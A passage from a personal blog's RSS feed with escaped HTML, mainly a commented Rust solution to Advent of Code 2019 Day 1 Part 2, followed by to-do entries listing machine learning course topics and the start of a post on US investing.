&lt;a href="https://adventofcode.com/2019/day/1#part2"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Link to challenge
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;The objective is to write a function that calculates the amount of fuel needed to propel a given mass. The question is interesting because the fuel has mass and therefore requires fuel too, and so forth.&lt;/p&gt;
&lt;h2 id="my-solution"&gt;My Solution&lt;/h2&gt;


&lt;div id=''&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;use&lt;/span&gt; &lt;span style="color:#111"&gt;std&lt;/span&gt;::&lt;span style="color:#111"&gt;fs&lt;/span&gt;::&lt;span style="color:#111"&gt;File&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;use&lt;/span&gt; &lt;span style="color:#111"&gt;std&lt;/span&gt;::&lt;span style="color:#111"&gt;io&lt;/span&gt;::&lt;span style="color:#111"&gt;{&lt;/span&gt;&lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;BufRead&lt;/span&gt;&lt;span style="color:#111"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;use&lt;/span&gt; &lt;span style="color:#111"&gt;std&lt;/span&gt;::&lt;span style="color:#111"&gt;path&lt;/span&gt;::&lt;span style="color:#111"&gt;Path&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;/// Returns the amount of fuel required to launch a module of mass `mass`. 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;fn&lt;/span&gt; &lt;span style="color:#75af00"&gt;fuel_needed_for_mass&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;mass&lt;/span&gt;: &lt;span style="color:#00a8c8"&gt;i64&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; -&amp;gt; &lt;span style="color:#00a8c8"&gt;i64&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// You can return early from a function by using the `return` keyword and
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// specifying a value, but most functions return the last expression
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// implicitly. Note that expressions don&amp;#39;t have semicolons.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// https://doc.rust-lang.org/book/ch03-03-how-functions-work.html
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// To find the fuel required for a module, take its mass, divide by three,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// round down, and subtract 2.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// I like how Rust warned me against using an unsigned int:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// thread &amp;#39;main&amp;#39; panicked at &amp;#39;attempt to subtract with overflow&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;fuel_mass&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;mass&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Can&amp;#39;t do a one-line if-statement in Rust. Good to know.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;fuel_mass&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// The fuel also requires fuel...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;fuel_mass&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#111"&gt;fuel_needed_for_mass&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;fuel_mass&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;fn&lt;/span&gt; &lt;span style="color:#75af00"&gt;main&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;assert_eq!&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;fuel_needed_for_mass&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;assert_eq!&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;fuel_needed_for_mass&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1969&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;966&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;assert_eq!&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;fuel_needed_for_mass&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;100756&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;50346&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;mut&lt;/span&gt; &lt;span style="color:#111"&gt;total_fuel_needed&lt;/span&gt;: &lt;span style="color:#00a8c8"&gt;i64&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Functions return `Result` whenever errors are expected and recoverable.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// `Ok(T)` represents success and contains a value, while `Err(E)`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// represents an error and contains an error value.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// https://doc.rust-lang.org/std/result/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;Ok&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;lines&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;read_lines&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;./input01.txt&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;in&lt;/span&gt; &lt;span style="color:#111"&gt;lines&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// So much error handling. In Python, I couldn&amp;#39;t even consider
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// adding this check. What could go wrong at this point?
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Update: say the line is not valid UTF-8
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;Ok&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;mass_str&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;mass&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;mass_str&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;parse&lt;/span&gt;::&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;i64&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#111"&gt;().&lt;/span&gt;&lt;span style="color:#111"&gt;unwrap&lt;/span&gt;&lt;span style="color:#111"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;total_fuel_needed&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#111"&gt;fuel_needed_for_mass&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;mass&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Macros look like functions, except that their name ends with
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// a bang !, but instead of generating a function call, macros
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// are expanded into source code that gets compiled with the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// rest of the program.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// https://doc.rust-lang.org/rust-by-example/macros.html
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// The string formatting is similar to that of Python
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// https://doc.rust-lang.org/std/fmt/index.html
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;println!&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;Total fuel needed: &lt;/span&gt;&lt;span style="color:#d88200"&gt;{}&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;total_fuel_needed&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;/// Returns an `Iterator` to the `Reader` of the lines of the file. The output
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;/// is wrapped in an `io::Result&amp;lt;T&amp;gt;` to make the failure of all I/O operations
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;/// explicit.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;/// 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;/// Source: https://doc.rust-lang.org/rust-by-example/std_misc/file/read_lines.html#read_lines
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;fn&lt;/span&gt; &lt;span style="color:#75af00"&gt;read_lines&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;P&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;filename&lt;/span&gt;: &lt;span style="color:#75af00"&gt;P&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; -&amp;gt; &lt;span style="color:#75af00"&gt;io&lt;/span&gt;::&lt;span style="color:#111"&gt;Result&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;io&lt;/span&gt;::&lt;span style="color:#111"&gt;Lines&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;io&lt;/span&gt;::&lt;span style="color:#111"&gt;BufReader&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;File&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;where&lt;/span&gt; &lt;span style="color:#111"&gt;P&lt;/span&gt;: &lt;span style="color:#111"&gt;AsRef&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;Path&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;file&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;File&lt;/span&gt;::&lt;span style="color:#111"&gt;open&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;filename&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;&lt;span style="color:#f92672"&gt;?&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// From the docs: `BufReader&amp;lt;R&amp;gt;` can improve the speed of programs that make
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// small and repeated read calls to the same file. It does not help when
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// reading very large amounts at once, or reading just one or a few times.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// It also provides no advantage when reading from a source that is already
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// in memory, like a `Vec&amp;lt;u8&amp;gt;`.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Ok&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;io&lt;/span&gt;::&lt;span style="color:#111"&gt;BufReader&lt;/span&gt;::&lt;span style="color:#111"&gt;new&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;file&lt;/span&gt;&lt;span style="color:#111"&gt;).&lt;/span&gt;&lt;span style="color:#111"&gt;lines&lt;/span&gt;&lt;span style="color:#111"&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</description></item><item><title>[ToDo] CS 124: From Languages to Information</title><link>https://www.curiosities.dev/todo/ai-and-machine-learning/cs124-from-languages-to-information/</link><pubDate>Wed, 01 Jan 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/ai-and-machine-learning/cs124-from-languages-to-information/</guid><description>&lt;ul&gt;
&lt;li&gt;Basic Text Processing&lt;/li&gt;
&lt;li&gt;Edit Distance&lt;/li&gt;
&lt;li&gt;Language Modeling&lt;/li&gt;
&lt;li&gt;Naive Bayes and Text Classification&lt;/li&gt;
&lt;li&gt;Sentiment Analysis&lt;/li&gt;
&lt;li&gt;Logistic Regression&lt;/li&gt;
&lt;li&gt;Information Retrieval&lt;/li&gt;
&lt;li&gt;Vector Semantics, Neural Embeddings, Word2Vec&lt;/li&gt;
&lt;li&gt;Relation Extraction&lt;/li&gt;
&lt;li&gt;Chatbots&lt;/li&gt;
&lt;li&gt;Recommender Systems (Collaborative Filtering)&lt;/li&gt;
&lt;li&gt;Web Graphs, Links and PageRank&lt;/li&gt;
&lt;li&gt;Social Networks&lt;/li&gt;
&lt;li&gt;NLP For Social Good&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 CS 124: From Languages to Information&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 JDan Jurafsky.
 
 
 
 Stanford University.
 
 &lt;a href="https://web.stanford.edu/class/cs124/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=web.stanford.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;web.stanford.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;</description></item><item><title>[ToDo] CS231n: Convolutional Neural Networks for Visual Recognition</title><link>https://www.curiosities.dev/todo/ai-and-machine-learning/cs231n-cnn-for-visual-recognition/</link><pubDate>Wed, 01 Jan 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/ai-and-machine-learning/cs231n-cnn-for-visual-recognition/</guid><description>&lt;p&gt;Image Classification; Linear Classification; Optimization; Backpropagation; Neural Networks; Convolutional Neural Networks; Understanding and Visualizing Convolutional Neural Networks; Transfer Learning and Fine-tuning Convolutional Neural Networks.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 CS231n: Convolutional Neural Networks for Visual Recognition&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Fei-Fei Li; Ranjay Krishna; Danfei Xu.
 
 
 
 
 
 &lt;a href="http://cs231n.stanford.edu/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=cs231n.stanford.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;cs231n.stanford.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 2020.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>[ToDo] Machine Learning Crash Course</title><link>https://www.curiosities.dev/todo/ai-and-machine-learning/machine-learning-crash-course/</link><pubDate>Wed, 01 Jan 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/ai-and-machine-learning/machine-learning-crash-course/</guid><description>&lt;p&gt;ML Concepts&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Introduction to ML&lt;/li&gt;
&lt;li&gt;Framing&lt;/li&gt;
&lt;li&gt;Descending into ML&lt;/li&gt;
&lt;li&gt;Reducing Loss&lt;/li&gt;
&lt;li&gt;First Steps with TF&lt;/li&gt;
&lt;li&gt;Generalization&lt;/li&gt;
&lt;li&gt;Training and Test Sets&lt;/li&gt;
&lt;li&gt;Validation Set&lt;/li&gt;
&lt;li&gt;Representation&lt;/li&gt;
&lt;li&gt;Feature Crosses&lt;/li&gt;
&lt;li&gt;Regularization: Simplicity&lt;/li&gt;
&lt;li&gt;Logistic Regression&lt;/li&gt;
&lt;li&gt;Classification&lt;/li&gt;
&lt;li&gt;Regularization: Sparsity&lt;/li&gt;
&lt;li&gt;Neural Networks&lt;/li&gt;
&lt;li&gt;Training Neural Nets&lt;/li&gt;
&lt;li&gt;Multi-Class Neural Nets&lt;/li&gt;
&lt;li&gt;Embeddings&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ML Engineering&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Production ML Systems&lt;/li&gt;
&lt;li&gt;Static vs. Dynamic Training&lt;/li&gt;
&lt;li&gt;Static vs. Dynamic Inference&lt;/li&gt;
&lt;li&gt;Data Dependencies&lt;/li&gt;
&lt;li&gt;Fairness&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ML Systems in the Real World&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cancer Prediction&lt;/li&gt;
&lt;li&gt;Literature&lt;/li&gt;
&lt;li&gt;Guidelines&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 Machine Learning Crash Course&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 Google.
 
 &lt;a href="https://developers.google.com/machine-learning/crash-course" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=developers.google.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;developers.google.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 2020.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;</description></item><item><title>How Do People Invest in the US?</title><link>https://www.curiosities.dev/business/2019-12-24-how-people-invest-in-the-us/</link><pubDate>Tue, 24 Dec 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2019-12-24-how-people-invest-in-the-us/</guid><description>&lt;h2 id="index-funds-and-401k-accounts"&gt;Index Funds and 401(k) Accounts&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I assume the return is ~5%&lt;/li&gt;
&lt;li&gt;There are 
&lt;a href="http://en.wikipedia.org/wiki/401%28k%29_IRA_matrix"
 
 
 
 target="_blank" rel="noopener"
 &gt;
